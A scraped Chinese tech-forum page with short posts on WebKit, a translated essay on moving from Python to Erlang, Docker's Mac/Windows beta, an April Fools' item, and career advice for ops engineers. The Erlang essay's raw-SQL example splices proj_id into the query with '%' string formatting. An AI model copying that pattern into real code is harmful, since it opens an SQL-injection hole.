WebKit 是一个开源的浏览器引擎,与之相应的引擎有Gecko(Mozilla Firefox 等使用的排版引擎)和Trident(也称为MSHTML,IE 使用的排版引擎)。根据StatCounter的浏览器市场份额调查,于2012年11月,Webkit市占超过了40%,它已经成为拥有最大市场份额的 排版引擎,超越了Internet Explorer所使用的Trident及Firefox所使用的Gecko引擎,并且WebKit份额正在逐年增加。

目前几乎所有网站和网银已经逐渐支持WebKit。WebKit 内核在手机上的应用也十分广泛,例如苹果的Safari、谷歌的Chrome浏览器都是基于这个框架来开发的。
 


总结


很多人可能尚未意识到,我们使用的电脑中运行有开源软件,手机中运行有开源软件,家里的电视也运行有开源软件,甚至小小的数码产品中也运行有开源软件,尤其是互联网服务器端软件,几乎全部是开源软件。毫不夸张地说,开源软件已经渗透到了我们日常生活的方方面面。
 
只有真正的开源软件产品才会做得更好,做得更有历史,会让使用的人由衷的感觉自由和快乐,只有这样才会像民族英雄一样,永远被传唱,被继承和传播,开源软件最大的意义就是众家参与,大家快乐,共同享受,为那些开源的极客们和开源企业致敬!

一个程序员从Python转向Erlang的自述

Rock 发表了文章 • 0 个评论 • 420 次浏览 • 2016-07-09 14:24 • 来自相关话题

摘要:在这篇文章中,我将会讲解我从Python转向Erlang的过程。




 
概览 
在这篇文章中,我将会讲解我从Python转向Erlang的过程。如果你不是一位Python开发人员,或者你不需要或是不想要极度的扩大系统规模,那么这篇文章可能对你没什么用。如果你无意为企业打造基础设施,或是你开发的产品只是简单的博客、小型资产管理系统,或是非常简单的网页,那么这篇文章对你一点帮助都没有。另外,如果你是一名初学者,正考虑选择一种语言进行学习,请你千万不要根据我的这篇文章放弃Python。我要讲的,是我自己使用Python时所遇到的那些问题,以及Erlang帮我解决这些问题的过程。 

开始的时候我会讲述一下我的过去,然后用自己的总结来结束这篇文章。如果你在阅读的过程中,能够与我有共鸣,请你来联系我,我们好好聊一聊。正是出于这个目的,我才决定把自己的经验分享出来。 

我的15年编程之路 

最早学习编程的时候,我是用MEL(Maya Embedded Language)起步的。之后,我找到了第一份工作,得到了第一份薪水。不久之后,为了获得更严肃的开发工作,我开始学习Python,并完成了K&R的阅读,使用C语言开发Python扩展程序。许多年之后,我对Web开发产生了浓厚的兴趣。我退出了动画行业,并且加入了德黑兰一家著名的科技公司。 

不久之前,我用Python开发了一个名叫Appido.IR的产品,这是一个视频/音乐流媒体服务。 
 
现在来说说我遇到的问题吧。 
 

选择正确的框架

所有人都热爱Django,但是我却讨厌它,而且没有任何理由!也许是因为帮曾帮助Massimo开发了Web2py,也或许是Web2py的简洁性惯坏了我,让我无法选择另外一个full-stack框架。但是在后来的一个无聊的项目上,我最终还是尝试了Django。 

Full-Stack Python框架就是个蜜罐

Django和Web2py各自有什么问题?什么问题都没有!直到你在一些模板引擎和数据库ORM中开始使用Bottle/Falcon之后,你才会开始感觉那些企业框架的速度是如此之慢。在使用一个简单的RESTful API的时候,你不得不浪费你的CPU周期,而且没有好的理由。而在使用复杂的API服务的时候,你必须要找到一条越狱的道路,构建一个全新的架构,然后把它放在你所谓的full-stack框架中。我们来看看下面这个例子: 

在Appido.ir Streaming Technology这家公司内,在FFMPEG的和大量其他开源工具的帮助下,我们实施了Dash协议。Appido有自己的OAuth2服务器,这是一个授权系统,一个工作流程引擎,可以用来制定时间表、监测、记录日志、寻找错误、创建报告等等。使用Web2py/Django进行了数周的艰苦研发之后,我们发现只凭借一个单一的框架根本没法成功。在大的框架内创建文件夹,尝试MVC模式、或是创建一个不错的数据库控制面板根本没法帮你扩大规模!而且最后那些你原本不想要的功能会反过头来阻挡你的脚步。是的,你在这里能找到一些蜂蜜,但是你却必须要地方那些愤怒的蜜蜂。因此,我发明了自己的基于Falcon的框架。 

Python框架同样也是蜜罐! 

于是你开始使用Bottle、Falcon、Flask……然后发现自己需要安装任务队列,并且安排模块时刻表。因为在web 2.0中,每一个需要500ms以上的请求,都需要是有状态的!这是一条不成文的规则。对于长时间等待的请求,你需要给用户提供一些状态。你的客户没时间等待你完成计算过程。你需要将发送邮件、转换图片等负担放在Celery上(也可以是你自己发明的自定义多进程队列)。它有什么问题?我们来看一下: 

假设你正在开发一个流媒体服务。你的客户上传了20GB大小的4K视频文件,你将这段视频转换成了10种不同的分辨率,然后发邮件告知客户这个转换过程已经完成了。 

由于你有40个worker在使用Celery,在视频转换的过程中那个,服务器出现过载,转换速度越来越慢。于是你找到了一个自以为是天才的解决方案!安装另一台服务器,上面配备了流媒体代码和工具,将Celery作为worker。好了,问题解决了!然而并没有!半夜的时候,你发现6台服务器中,有5台的CPU利用率为0,而第六台的利用率为100%。为什么?原来Redis在配合Celery的时候,会出现时序问题,这个问题会阻碍worker拣选任务。安装RabbitMQ或许能解决问题。但是在寻找蜂蜜的过程中,你依然会被蜜蜂蛰的满身都是包。如果你在搭建这个系统的过程中没有遇到上述问题,那么恭喜你,你是这个世界上最幸运的人。 
 

我没遇到这些问题!那你请继续……

假如你的服务器运转的很正常,你需要的是增加web服务的RPS,无论你是使用增加WSGI worker的方法,还是使用Tornado/Gevent的方法,两者都可以帮你解决问题。你还会注意到,使用SQLAlchemy会让你的请求速度变慢(因为SQLAlchemy极其复杂)。写Raw SQL命令能解决你的问题。我们看看下面这个简单的例子,一个有着几百万条记录的Postgres数据库:def pure_python():
max_per_task = db.DBSession.query(
Version.task_id, func.max(Version.version_number).label( 'max'))\
.join(Task)\
.filter(Task.project_id == proj_id)\
.group_by(Version.task_id)\
.subquery()
return Version.query\
.join(max_per_task,
tuple_(max_per_task.c.task_id, max_per_task.c.max) ==
tuple_(Version.task_id, Version.version_number))\
.all()

def simple_sql():
sql = """
select
max("Versions".id) as id
from "Versions"
join "Tasks" on "Versions".task_id = "Tasks".id
join "Projects" on "Tasks".project_id = "Projects".id
where "Projects".id = %s
group by "Versions".task_id, "Versions".take_name
""" % proj_id
conn = db.DBSession.connection()
result = conn.execute(sql)
return result.fetchall()

And Results

pure_python: 3.284 sec
simple_sql: 0.228 sec
我已经解决了所有问题。到底哪里出问题了? 

你真的解决了所有问题吗?好吧,就算是吧,你现在想要尝试在Python代码中添加一些Erlang功能。你会发现,Erlang中根本不存在那些分配/规模化问题。在Python世界中,寻找规模化问题的解决方式是非常普遍的事情。要想实现规模化,你需要进行分配。而要想分配,你又需要优秀的服务导向架构,而且它还要拥有协同工作的能力。你一定要有足够的耐心,能够忍耐错误的频繁出现,并且做好失效备援。其实在Python中,这些功能都是可以实现的,不过代价非常高。你必须要规避Python的问题,还需要正确的SQL,创建自定义索引。Python的Global Interpreter Lock(GIL)会给你设置障碍。共享状态通常情况下在开始的时候能为你提供一定的帮助,但是有的时候会导致灾难性的后果。除此之外,对于每一次真实世界的计算,你都需要为Python编写扩展程序(原生C API、Swig、Cython或是pypy)。 

Erlang虽然没有C语言那么快,但是它的分配模式让我们可以很轻松的编写程序,来保护数据中心中的每一个核心(如果你能理解NIF,你就无往不利了)。用Erlang连接数据库需要你拥有SQL方面的知识(这一点和Python一样)。 
 

总结 

如果你需要创建一个云服务,或是为了给数以万计的用户提供服务,而需要扩大系统规模,你一定要选择正确的工具。Python在快速测试和模拟方面很强大,学会Python可以帮你找到工作。使用Python你可以在一夜之间就将复杂的创意变成产品。Python适合拥有大量用户的大型项目。但是在大规模扩大系统规模方面,我个人还是觉得它不够好用,有时候甚至会给你制造困难。 

长话短说,你可以用Python来找工作,或是获得一份合作合同,之后用Erlang来完成工作。

原    文:WHY AND HOW I SWITCHED FROM PYTHON TO ERLANG
译    文:https://www.sdk.cn/news/4125 
作    者:Christian(编译) 查看全部
摘要:在这篇文章中,我将会讲解我从Python转向Erlang的过程。
erlang.png

 
概览 
在这篇文章中,我将会讲解我从Python转向Erlang的过程。如果你不是一位Python开发人员,或者你不需要或是不想要极度的扩大系统规模,那么这篇文章可能对你没什么用。如果你无意为企业打造基础设施,或是你开发的产品只是简单的博客、小型资产管理系统,或是非常简单的网页,那么这篇文章对你一点帮助都没有。另外,如果你是一名初学者,正考虑选择一种语言进行学习,请你千万不要根据我的这篇文章放弃Python。我要讲的,是我自己使用Python时所遇到的那些问题,以及Erlang帮我解决这些问题的过程。 

开始的时候我会讲述一下我的过去,然后用自己的总结来结束这篇文章。如果你在阅读的过程中,能够与我有共鸣,请你来联系我,我们好好聊一聊。正是出于这个目的,我才决定把自己的经验分享出来。 


我的15年编程之路 


最早学习编程的时候,我是用MEL(Maya Embedded Language)起步的。之后,我找到了第一份工作,得到了第一份薪水。不久之后,为了获得更严肃的开发工作,我开始学习Python,并完成了K&R的阅读,使用C语言开发Python扩展程序。许多年之后,我对Web开发产生了浓厚的兴趣。我退出了动画行业,并且加入了德黑兰一家著名的科技公司。 

不久之前,我用Python开发了一个名叫Appido.IR的产品,这是一个视频/音乐流媒体服务。 
 
现在来说说我遇到的问题吧。 
 


选择正确的框架


所有人都热爱Django,但是我却讨厌它,而且没有任何理由!也许是因为帮曾帮助Massimo开发了Web2py,也或许是Web2py的简洁性惯坏了我,让我无法选择另外一个full-stack框架。但是在后来的一个无聊的项目上,我最终还是尝试了Django。 

Full-Stack Python框架就是个蜜罐

Django和Web2py各自有什么问题?什么问题都没有!直到你在一些模板引擎和数据库ORM中开始使用Bottle/Falcon之后,你才会开始感觉那些企业框架的速度是如此之慢。在使用一个简单的RESTful API的时候,你不得不浪费你的CPU周期,而且没有好的理由。而在使用复杂的API服务的时候,你必须要找到一条越狱的道路,构建一个全新的架构,然后把它放在你所谓的full-stack框架中。我们来看看下面这个例子: 

在Appido.ir Streaming Technology这家公司内,在FFMPEG的和大量其他开源工具的帮助下,我们实施了Dash协议。Appido有自己的OAuth2服务器,这是一个授权系统,一个工作流程引擎,可以用来制定时间表、监测、记录日志、寻找错误、创建报告等等。使用Web2py/Django进行了数周的艰苦研发之后,我们发现只凭借一个单一的框架根本没法成功。在大的框架内创建文件夹,尝试MVC模式、或是创建一个不错的数据库控制面板根本没法帮你扩大规模!而且最后那些你原本不想要的功能会反过头来阻挡你的脚步。是的,你在这里能找到一些蜂蜜,但是你却必须要地方那些愤怒的蜜蜂。因此,我发明了自己的基于Falcon的框架。 

Python框架同样也是蜜罐! 

于是你开始使用Bottle、Falcon、Flask……然后发现自己需要安装任务队列,并且安排模块时刻表。因为在web 2.0中,每一个需要500ms以上的请求,都需要是有状态的!这是一条不成文的规则。对于长时间等待的请求,你需要给用户提供一些状态。你的客户没时间等待你完成计算过程。你需要将发送邮件、转换图片等负担放在Celery上(也可以是你自己发明的自定义多进程队列)。它有什么问题?我们来看一下: 

假设你正在开发一个流媒体服务。你的客户上传了20GB大小的4K视频文件,你将这段视频转换成了10种不同的分辨率,然后发邮件告知客户这个转换过程已经完成了。 

由于你有40个worker在使用Celery,在视频转换的过程中那个,服务器出现过载,转换速度越来越慢。于是你找到了一个自以为是天才的解决方案!安装另一台服务器,上面配备了流媒体代码和工具,将Celery作为worker。好了,问题解决了!然而并没有!半夜的时候,你发现6台服务器中,有5台的CPU利用率为0,而第六台的利用率为100%。为什么?原来Redis在配合Celery的时候,会出现时序问题,这个问题会阻碍worker拣选任务。安装RabbitMQ或许能解决问题。但是在寻找蜂蜜的过程中,你依然会被蜜蜂蛰的满身都是包。如果你在搭建这个系统的过程中没有遇到上述问题,那么恭喜你,你是这个世界上最幸运的人。 
 


我没遇到这些问题!那你请继续……


假如你的服务器运转的很正常,你需要的是增加web服务的RPS,无论你是使用增加WSGI worker的方法,还是使用Tornado/Gevent的方法,两者都可以帮你解决问题。你还会注意到,使用SQLAlchemy会让你的请求速度变慢(因为SQLAlchemy极其复杂)。写Raw SQL命令能解决你的问题。我们看看下面这个简单的例子,一个有着几百万条记录的Postgres数据库:
def  pure_python():
max_per_task = db.DBSession.query(
Version.task_id, func.max(Version.version_number).label( 'max'))\
.join(Task)\
.filter(Task.project_id == proj_id)\
.group_by(Version.task_id)\
.subquery()
return Version.query\
.join(max_per_task,
tuple_(max_per_task.c.task_id, max_per_task.c.max) ==
tuple_(Version.task_id, Version.version_number))\
.all()

def simple_sql():
sql = """
select
max("Versions".id) as id
from "Versions"
join "Tasks" on "Versions".task_id = "Tasks".id
join "Projects" on "Tasks".project_id = "Projects".id
where "Projects".id = %s
group by "Versions".task_id, "Versions".take_name
""" % proj_id
conn = db.DBSession.connection()
result = conn.execute(sql)
return result.fetchall()

And Results

pure_python: 3.284 sec
simple_sql: 0.228 sec

我已经解决了所有问题。到底哪里出问题了? 

你真的解决了所有问题吗?好吧,就算是吧,你现在想要尝试在Python代码中添加一些Erlang功能。你会发现,Erlang中根本不存在那些分配/规模化问题。在Python世界中,寻找规模化问题的解决方式是非常普遍的事情。要想实现规模化,你需要进行分配。而要想分配,你又需要优秀的服务导向架构,而且它还要拥有协同工作的能力。你一定要有足够的耐心,能够忍耐错误的频繁出现,并且做好失效备援。其实在Python中,这些功能都是可以实现的,不过代价非常高。你必须要规避Python的问题,还需要正确的SQL,创建自定义索引。Python的Global Interpreter Lock(GIL)会给你设置障碍。共享状态通常情况下在开始的时候能为你提供一定的帮助,但是有的时候会导致灾难性的后果。除此之外,对于每一次真实世界的计算,你都需要为Python编写扩展程序(原生C API、Swig、Cython或是pypy)。 

Erlang虽然没有C语言那么快,但是它的分配模式让我们可以很轻松的编写程序,来保护数据中心中的每一个核心(如果你能理解NIF,你就无往不利了)。用Erlang连接数据库需要你拥有SQL方面的知识(这一点和Python一样)。 
 


总结 


如果你需要创建一个云服务,或是为了给数以万计的用户提供服务,而需要扩大系统规模,你一定要选择正确的工具。Python在快速测试和模拟方面很强大,学会Python可以帮你找到工作。使用Python你可以在一夜之间就将复杂的创意变成产品。Python适合拥有大量用户的大型项目。但是在大规模扩大系统规模方面,我个人还是觉得它不够好用,有时候甚至会给你制造困难。 

长话短说,你可以用Python来找工作,或是获得一份合作合同,之后用Erlang来完成工作。


原    文:WHY AND HOW I SWITCHED FROM PYTHON TO ERLANG
译    文:https://www.sdk.cn/news/4125 
作    者:Christian(编译)


愚人节开源中国新玩法-上头条

OpenSkill 发表了文章 • 0 个评论 • 483 次浏览 • 2016-04-01 11:22 • 来自相关话题

今天http://oschina.net 来了一个首页新玩法,这是要上头条的节奏,小营销可以骗好多小粉激动!




倾斜的不错,我电脑都横着了!
今天http://oschina.net 来了一个首页新玩法,这是要上头条的节奏,小营销可以骗好多小粉激动!
oschina.png

倾斜的不错,我电脑都横着了!

Docker 终于有 Windows 和 Mac 版了

push 发表了文章 • 0 个评论 • 563 次浏览 • 2016-03-25 12:07 • 来自相关话题

今天是Docker容器化系统的第三个生日,为了庆祝该公司推出了其软件的Mac和Windows测试版程序。

它提供了一个集成的、易于部署的环境,用于构建、组装和运输在Mac或Windows系统上的应用程序,同时在Docker工具箱上也具有诸多改进。

Docker的Mac和Windows版本开发并不需要专用的机器,这使开发者更容易开发,并为他们在本地主机网络上访问容器运行提供方便。它包括一个用于容器的DNS服务器,并与Mac OS X和Windows网络系统集成。在Mac上,Docker甚至可以在连接到企业VPN。

Docker的Mac版本可以与Docker工具箱在同一时间同一台机器上使用,允许开发人员继续使用工具箱来评估Docker的Mac版本。而在Windows系统上你需要在使用Docker之前停止使用工具箱。

“Docker的Mac产品已经解决了对我们来说的所有这些问题,多亏了原生的Mac应用程序,安装已显著顺畅,并能自动更新。官方图片现在在Mac上只是‘仅仅工作’,而新开发的工作流使工程师能够快速运行服务的新版本,在他们的Mac上开发原生软件,一切都仅仅只是工作。”Mixcloud——少数几家曾使用过内测软件的公司之一的联合创始人Mat Clayton如是说。

如果您有兴趣参与内测,你可以通过注册Docker网站,接收邀请。Docker的Mac和Windows版本正处于不同的发展阶段,虽然他们共享一个主要的代码库。Docker的Windows版本最初以较慢的速度推送给用户,但最终也将与Mac版本有相同的功能。Windows版本目前只适用于支持Hyper-V的Windows10。

英文原文链接:http://betanews.com/2016/03/24/docker-windows-mac/
中文翻译链接:http://www.oschina.net/news/71885/docker-to-mac-windows 查看全部
docker.png

今天是Docker容器化系统的第三个生日,为了庆祝该公司推出了其软件的Mac和Windows测试版程序。

它提供了一个集成的、易于部署的环境,用于构建、组装和运输在Mac或Windows系统上的应用程序,同时在Docker工具箱上也具有诸多改进。

Docker的Mac和Windows版本开发并不需要专用的机器,这使开发者更容易开发,并为他们在本地主机网络上访问容器运行提供方便。它包括一个用于容器的DNS服务器,并与Mac OS X和Windows网络系统集成。在Mac上,Docker甚至可以在连接到企业VPN。

Docker的Mac版本可以与Docker工具箱在同一时间同一台机器上使用,允许开发人员继续使用工具箱来评估Docker的Mac版本。而在Windows系统上你需要在使用Docker之前停止使用工具箱。

“Docker的Mac产品已经解决了对我们来说的所有这些问题,多亏了原生的Mac应用程序,安装已显著顺畅,并能自动更新。官方图片现在在Mac上只是‘仅仅工作’,而新开发的工作流使工程师能够快速运行服务的新版本,在他们的Mac上开发原生软件,一切都仅仅只是工作。”Mixcloud——少数几家曾使用过内测软件的公司之一的联合创始人Mat Clayton如是说。

如果您有兴趣参与内测,你可以通过注册Docker网站,接收邀请。Docker的Mac和Windows版本正处于不同的发展阶段,虽然他们共享一个主要的代码库。Docker的Windows版本最初以较慢的速度推送给用户,但最终也将与Mac版本有相同的功能。Windows版本目前只适用于支持Hyper-V的Windows10。


英文原文链接:http://betanews.com/2016/03/24/docker-windows-mac/
中文翻译链接:http://www.oschina.net/news/71885/docker-to-mac-windows


不懂编程的运维人员到底还能走多远?

采菊篱下 发表了文章 • 0 个评论 • 713 次浏览 • 2016-03-12 23:33 • 来自相关话题

首先,可以肯定的说,未来的IT岗位需要的是综合能力强的人员,运维、开发、数据库、网络,技术岗位对上述知识体系都要会一些,才能很好的胜任对应岗位工作。 
下面已经不是趋势,而是菜鸟及老鸟都必须要认真考虑的:
[]运维人员要会运维、开发、数据库、网络,但侧重点是运维,[/][]开发人员要会运维、开发、数据库、网络,但侧重点是开发,[/][]数据库人员要会运维,开发,数据库,网络,但侧重点是数据库,[/][]网络人员要会运维,开发,数据库,网络,但侧重点是网络,最好侧重点转运维,[/][]硬件工程师(F5,存储设备等)建议趁早转岗linux运维,云计算已经把硬件给灭了,硬件集中化了。[/]
只会技术知识还不够,工作态度,做人素质,沟通表达,责任心都是具备核心竞争力的容易被忽略的资本!技术知识和态度素质比例接近6:4,岗位越高对技术要求的比例越低!互联网,移动互联网,甚至是物联网的时代对IT人才的综合能力要求越来越高!一些极其低端的工作大多数人的岗位会被自动化、虚拟化、云计算、甚至是机器人取代是毫不夸张的!例如:IDC机房运维,低端网络工程师,各类硬件工程师。新的时代对我们IT人员有了新的挑战,我们不能抱残守缺,而一定要快速学习,适应时代对我们的更多要求,不要本位主义,单纯的认为运维就不需要开发,开发就不需要运维,这些想法都是在重复掩耳盗铃的寓言故事。就拿老男孩老师本人来说吧,除了会开发、运维、网络、数据库能力外,还要会讲课、教育学、心理学、销售、市场、领导、演讲,管理、财务、法律等技能,当然了,我给自己的定位是教育企业的老板,大家如果学习运维,给自己的定位是高级运维或架构师,就必须要会linux运维,python开发,linux集群架构。另外,强烈建议,想从事linux运维的朋友一定要先掌握好运维岗位需要的本领后,然后再去蚕食开发领域。想从事开发的朋友一定要先掌握好开发岗位需要的本领后,然后再去蚕食运维等领域。切记,一定不要太浮躁,人云亦云,一定不要边玩linux,边玩开发,一个时间点专注一点,你就可以更快找到工作,找到工作后再去利用周末去培训或自学,除非你参加脱产班的培训,或者时间真的很充裕。掌握了一项岗位的知识能力后,如果你真的掌握了的话,再学其它岗位技术的也会轻松很多,因为学习的方法都是相通的。一定要先掌握你想从事的本领域的岗位的基本本领,短时间千万不要样样都了解,会导致样样都稀松,最后找工作到处碰壁,短时间就是抓重点(记得我讲的浴室着火吧)!虽然企业对运维的岗位要求趋势是越来越高了,但也不代表只学一种找不到工作。对于新手,是无法再短时间内掌握运维和开发两项本领的,哪怕即使是运维知识也是海量,学了前面的,忘了后面的网友满地都是,最后厌学,能力没提升,给自己带来困扰。例如你想从事运维,可以先学好linux运维,适当了解python开发,然后,找到工作后,再利用周末去学习。老男孩教育linux运维班新班会精讲shell和python开发基础,很多同学月薪可以达到12-13K,这个事实说明,先精通一门技术的重要性,但是一旦拿到offer,我们就会告诉学生要参加学习python开发以及高级架构师课程,说到这大家都明白了吧,linux运维,linxu架构,python开发,都是运维岗位需要的,打好linux基础,可以找到工作,但是要想立足和发展就必须要学习linux网站集群架构,python开发,这是现实的行业内的人都看得出的趋势,不这样努力这样做的,就算找到了工作可能也会丢失掉,谈不上立足和发展了。如果你想从事开发工作也是一样,可以先学好开发,然后再去学linux运维+linux架构。(学历达不到本科的同学,如果选择纯开发一定要慎重,衡量下自己适合不适合,能不能下足功夫和高学历的去拼,开发领域的竞争者大把的本科、硕士的人群,而运维领域本科的同学基本上是凤毛麟角,这也是老男孩老师当初差异化发展的思想,虽然老男孩是本科双学士)。新手一旦考虑学习开发,我建议可以学习python全栈开发,差异化发展,未来做开发做运维可以有更多的选择,而不是去选择PHP,JAVA等开发语言。综上,解答开篇的不懂编程的运维还能走多远?
[]linux(含shell)已成为IT技术岗位的必备的技术(开发,数据库,网络等岗)。[/][]linux运维学好目前北上广的薪水可以到8-15K,但是如果不快速继续深入高级架构师和python开发,未来发展瓶颈十分大,时间久了,有可能上升空间就被会架构又会python开发的人堵死,刻不容缓。[/][]python已成为IT技术岗位发展提升竞争力的必备技术(开发,数据库,网络等岗)。[/][]linux高级架构师(大规模网站集群架构)也将成为IT技术岗位发展提升竞争力的必备技术(开发,数据库,网络等岗)。[/]
 
因此,linux运维+linux架构+python开发这三项技术是近3-5年运维人员必备的技术,也是纯开发提升竞争力最有利的武器。掌握上述三项技术的先后顺序可以为:
linux运维+linux架构或linux运维+python开发,这三项技术是有紧密联系的,高级运维及架构师发展都得会!有关运维人员的开发语言,做运维的人员一定要放弃小众语言的学习,例如perl,ruby,也不要选择偏离linux运维的php和JAVA。linux+(shell/python)是当下最火的运维人员学习的组合,跟着趋势准没错!
如果学习纯开发可以选的语言有:python,php,java,但是这些开发岗位发展到1-2年后,还是需要学习linux运维+linux架构的,这就是所说的大一统的IT岗位技能要求趋势。总结:
掌握了上述运维和开发本领后,将来还可以朝大数据、云计算等热门领域过渡,基础不牢地动山摇,没有运维和开发基础,大数据、云计算这样的空中楼阁,你就有看和想的份。

文章作者:老男孩教育创始人老男孩老师
分享原文:http://oldboy.blog.51cto.com/2561410/1749513 查看全部
首先,可以肯定的说,未来的IT岗位需要的是综合能力强的人员,运维、开发、数据库、网络,技术岗位对上述知识体系都要会一些,才能很好的胜任对应岗位工作。
 
下面已经不是趋势,而是菜鸟及老鸟都必须要认真考虑的:
    []运维人员要会运维、开发、数据库、网络,但侧重点是运维,[/][]开发人员要会运维、开发、数据库、网络,但侧重点是开发,[/][]数据库人员要会运维,开发,数据库,网络,但侧重点是数据库,[/][]网络人员要会运维,开发,数据库,网络,但侧重点是网络,最好侧重点转运维,[/][]硬件工程师(F5,存储设备等)建议趁早转岗linux运维,云计算已经把硬件给灭了,硬件集中化了。[/]

只会技术知识还不够,工作态度,做人素质,沟通表达,责任心都是具备核心竞争力的容易被忽略的资本!
技术知识和态度素质比例接近6:4,岗位越高对技术要求的比例越低!
互联网,移动互联网,甚至是物联网的时代对IT人才的综合能力要求越来越高!一些极其低端的工作大多数人的岗位会被自动化、虚拟化、云计算、甚至是机器人取代是毫不夸张的!
例如:IDC机房运维,低端网络工程师,各类硬件工程师。
新的时代对我们IT人员有了新的挑战,我们不能抱残守缺,而一定要快速学习,适应时代对我们的更多要求,不要本位主义,单纯的认为运维就不需要开发,开发就不需要运维,这些想法都是在重复掩耳盗铃的寓言故事。
就拿老男孩老师本人来说吧,除了会开发、运维、网络、数据库能力外,还要会讲课、教育学、心理学、销售、市场、领导、演讲,管理、财务、法律等技能,当然了,我给自己的定位是教育企业的老板,大家如果学习运维,给自己的定位是高级运维或架构师,就必须要会linux运维,python开发,linux集群架构。
另外,强烈建议,想从事linux运维的朋友一定要先掌握好运维岗位需要的本领后,然后再去蚕食开发领域。想从事开发的朋友一定要先掌握好开发岗位需要的本领后,然后再去蚕食运维等领域。
切记,一定不要太浮躁,人云亦云,一定不要边玩linux,边玩开发,一个时间点专注一点,你就可以更快找到工作,找到工作后再去利用周末去培训或自学,除非你参加脱产班的培训,或者时间真的很充裕。
掌握了一项岗位的知识能力后,如果你真的掌握了的话,再学其它岗位技术的也会轻松很多,因为学习的方法都是相通的。
一定要先掌握你想从事的本领域的岗位的基本本领,短时间千万不要样样都了解,会导致样样都稀松,最后找工作到处碰壁,短时间就是抓重点(记得我讲的浴室着火吧)!
虽然企业对运维的岗位要求趋势是越来越高了,但也不代表只学一种找不到工作。
对于新手,是无法再短时间内掌握运维和开发两项本领的,哪怕即使是运维知识也是海量,学了前面的,忘了后面的网友满地都是,最后厌学,能力没提升,给自己带来困扰。
例如你想从事运维,可以先学好linux运维,适当了解python开发,然后,找到工作后,再利用周末去学习。老男孩教育linux运维班新班会精讲shell和python开发基础,很多同学月薪可以达到12-13K,这个事实说明,先精通一门技术的重要性,但是一旦拿到offer,我们就会告诉学生要参加学习python开发以及高级架构师课程,说到这大家都明白了吧,linux运维,linxu架构,python开发,都是运维岗位需要的,打好linux基础,可以找到工作,但是要想立足和发展就必须要学习linux网站集群架构,python开发,这是现实的行业内的人都看得出的趋势,不这样努力这样做的,就算找到了工作可能也会丢失掉,谈不上立足和发展了。
如果你想从事开发工作也是一样,可以先学好开发,然后再去学linux运维+linux架构。(学历达不到本科的同学,如果选择纯开发一定要慎重,衡量下自己适合不适合,能不能下足功夫和高学历的去拼,开发领域的竞争者大把的本科、硕士的人群,而运维领域本科的同学基本上是凤毛麟角,这也是老男孩老师当初差异化发展的思想,虽然老男孩是本科双学士)。
新手一旦考虑学习开发,我建议可以学习python全栈开发,差异化发展,未来做开发做运维可以有更多的选择,而不是去选择PHP,JAVA等开发语言。
综上,解答开篇的不懂编程的运维还能走多远?
    []linux(含shell)已成为IT技术岗位的必备的技术(开发,数据库,网络等岗)。[/][]linux运维学好目前北上广的薪水可以到8-15K,但是如果不快速继续深入高级架构师和python开发,未来发展瓶颈十分大,时间久了,有可能上升空间就被会架构又会python开发的人堵死,刻不容缓。[/][]python已成为IT技术岗位发展提升竞争力的必备技术(开发,数据库,网络等岗)。[/][]linux高级架构师(大规模网站集群架构)也将成为IT技术岗位发展提升竞争力的必备技术(开发,数据库,网络等岗)。[/]

 
因此,linux运维+linux架构+python开发这三项技术是近3-5年运维人员必备的技术,也是纯开发提升竞争力最有利的武器。
掌握上述三项技术的先后顺序可以为:
linux运维+linux架构或linux运维+python开发,这三项技术是有紧密联系的,高级运维及架构师发展都得会!
有关运维人员的开发语言,做运维的人员一定要放弃小众语言的学习,例如perl,ruby,也不要选择偏离linux运维的php和JAVA。
linux+(shell/python)是当下最火的运维人员学习的组合,跟着趋势准没错!
如果学习纯开发可以选的语言有:python,php,java,但是这些开发岗位发展到1-2年后,还是需要学习linux运维+linux架构的,这就是所说的大一统的IT岗位技能要求趋势。
总结:
掌握了上述运维和开发本领后,将来还可以朝大数据、云计算等热门领域过渡,基础不牢地动山摇,没有运维和开发基础,大数据、云计算这样的空中楼阁,你就有看和想的份。


文章作者:老男孩教育创始人老男孩老师
分享原文:http://oldboy.blog.51cto.com/2561410/1749513